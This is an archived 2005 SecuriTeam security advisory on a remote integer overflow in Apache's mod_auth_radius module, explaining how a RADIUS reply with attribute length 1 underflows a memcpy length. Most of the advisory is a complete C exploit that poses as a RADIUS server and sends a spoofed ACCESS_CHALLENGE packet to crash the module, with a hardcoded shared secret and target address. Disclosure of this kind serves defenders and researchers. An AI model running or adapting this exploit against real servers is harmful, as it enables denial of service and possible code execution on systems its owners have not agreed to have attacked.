

[UNIX] Apache mod_auth_radius Remote Integer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0071.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/16/05

To: list@securiteam.com

Date: 16 Jan 2005 16:17:00 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Apache mod_auth_radius Remote Integer Overflow (Exploit)

SUMMARY

<http://www.freeradius.org/mod_auth_radius/> Mod_auth_radius is "RADIUS authentication module for Apache. It allows any Apache web-server to become a RADIUS client for authentication, authorization and accounting requests. You will, however, need to supply your own RADIUS server to perform the actual authentication".

An integer overflow exists in mod_auth_radius that can be exploited by a remote attacker which can then be leveraged to cause mod_auth_radius to execute arbitrary code.

DETAILS

Vulnerable Systems:

* mod_auth_radius version 1.5.4 (1.5.7) and prior

When mod_auth_radius authenticates users against a remote RADIUS server, it will send a RADIUS packet with RADIUS_ACCESS_REQUEST tag. The RADIUS server can respond with a RADIUS packet that includes the RADIUS_ACCESS_CHALLENGE tag.

Securiteam: [UNIX] Apache mod_auth_radius Remote Integer Overflow (Exploit)

When mod_auth_radius gets RADIUS_ACCESS_CHALLENGE, with attribute set to RADIUS_STATE, and another attribute code in same packet set to RADIUS_REPLY_MESSAGE, the RADIUS server reply will be copied to a local buffer with the function radcpy(). Size of the data that will be copied into the local buffer is taken from 'length' value of packet attribute received from the RADIUS server.

mod_auth_radius.c:

```
..
#define radcpy(String, ATTR) {memcpy(String, ATTR->data, ATTR->length -
2);\
                (String)[ATTR->length - 2] = 0;}
..
```

Before the data is copied with memcpy() the RADIUS server's length attribute is subtracted by two. If attribute length is set to 1, subtraction it result in -1, and memcpy will lead to segfault. If an attacker can sniff out RADIUS request packets (that is vulnerability by itself), he can spoof RADIUS server replies with attribute length 1 that will segfault mod_auth_radius or even in some cases execute arbitrary code.

Exploit:

```
/* gcc -o dos dos.c -lssl
 * Make sure you change inet_addr at the bottom. /str0ke
 */
```

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <openssl/md5.h>
#define RADIUS_AUTH_UDP_PORT 1645
#define RADIUS_PASSWORD_LEN 16
#define RADIUS_RANDOM_VECTOR_LEN 16
#define RADIUS_HEADER_LEN 20

/* RADIUS ID definitions. See RFC 2138 */
#define RADIUS_ACCESS_REQUEST 1
#define RADIUS_ACCESS_ACCEPT 2
#define RADIUS_ACCESS_REJECT 3
#define RADIUS_ACCESS_CHALLENGE 11

/* RADIUS attribute definitions. Also from RFC 2138 */
#define RADIUS_USER_NAME 1
#define RADIUS_PASSWORD 2
#define RADIUS_NAS_IP_ADDRESS 4
#define RADIUS_SERVICE_TYPE 6
#define RADIUS_REPLY_MESSAGE 18
#define RADIUS_STATE 24
```

Securiteam: [UNIX] Apache mod_auth_radius Remote Integer Overflow (Exploit)

```
#define RADIUS_SESSION_TIMEOUT 27
#define RADIUS_NAS_IDENTIFIER 32

/* service types : authenticate only for now */
#define RADIUS_AUTHENTICATE_ONLY 8
#define RADIUS_PACKET_RECV_SIZE 1024
#define RADIUS_PACKET_SEND_SIZE 1024
#define APACHE_RADIUS_MAGIC_STATE "f36809ad"

/* Per-attribute structure */
typedef struct attribute_t {
    unsigned char attribute;
    unsigned char length;
    unsigned char data[1];
} attribute_t;

/* Packet header structure */
typedef struct radius_packet_t {
    unsigned char code;
    unsigned char id;
    unsigned short length;
    unsigned char vector[RADIUS_RANDOM_VECTOR_LEN];
    attribute_t first;
} radius_packet_t;

char secret[] = "testing123";

main (int argc, char **argv)
{
    int sock,cl,x,n;

    struct sockaddr_in sin,exp;
    char buffer[RADIUS_PACKET_RECV_SIZE], client[RADIUS_PACKET_SEND_SIZE];
    attribute_t *attr, *attrcl, *attrcl2;
    radius_packet_t *rad, *radcl;
    char vector[RADIUS_RANDOM_VECTOR_LEN];
    MD5_CTX sum;

    sock = socket (AF_INET, SOCK_DGRAM, 0);

    sin.sin_port = htons (RADIUS_AUTH_UDP_PORT);
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = INADDR_ANY;
    bzero (sin.sin_zero, 8);

    bind (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

    n = sizeof (struct sockaddr);
    while ((x = recvfrom (sock, buffer, RADIUS_PACKET_RECV_SIZE, 0, (struct
sockaddr*)&sin, &n)) > -1)
    {
```

Securiteam: [UNIX] Apache mod_auth_radius Remote Integer Overflow (Exploit)

```
printf ("GOT PACKET!!!\n");
rad = (radius_packet_t*)buffer;
attr = (attribute_t*)&rad->first;
printf ("%d-%s\n",ntohs(sin.sin_port),inet_ntoa(sin.sin_addr));
break;
}

bzero(client,1024);
radcl = (radius_packet_t*)client;

attrcl = (attribute_t*)&radcl->first;

radcl->code = RADIUS_ACCESS_CHALLENGE;
radcl->id = 140;

n = (sizeof (radius_packet_t) + (sizeof(attribute_t) * 2) + 20);
radcl->length = htons(n);
printf ("---->%d\n",ntohs(radcl->length));

attrcl->attribute = RADIUS_STATE;
attrcl->length = 3;
// attrcl->data = 1;

attrcl2 = attrcl + 1;
attrcl2->attribute = RADIUS_REPLY_MESSAGE;
attrcl2->length = 1; // INTEGER OVERFLOW
// attrcl2->data = 1;

// strncpy (attrcl2 + 3, "AAAAAAAAAAAAAAAAAAAAA\0", 20);
memcpy (radcl->vector, rad->vector,16);
MD5_Init (&sum);
MD5_Update (&sum, (unsigned char*)radcl, ntohs(radcl->length));
MD5_Update (&sum, secret, strlen(secret));

MD5_Final (vector, &sum);
memcpy (radcl->vector, vector,16);

close (sock);

cl = socket (AF_INET, SOCK_DGRAM, 0);

exp.sin_family = AF_INET;
exp.sin_port = sin.sin_port;
exp.sin_addr.s_addr = inet_addr("192.168.0.3");;
bzero (exp.sin_zero,8);
sendto (cl, &client, n, 0 , (struct sockaddr*)&exp, sizeof (struct
sockaddr));
perror ("sendto:");
}
```

ADDITIONAL INFORMATION

Securiteam: [UNIX] Apache mod_auth_radius Remote Integer Overflow (Exploit)

The original article can be found at:

<<http://security.lss.hr/en/index.php?page=details&ID=LSS-2005-01-02>>

<http://security.lss.hr/en/index.php?page=details&ID=LSS-2005-01-02>

The information has been provided by <mailto:exposed@lss.hr> LSS Security.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.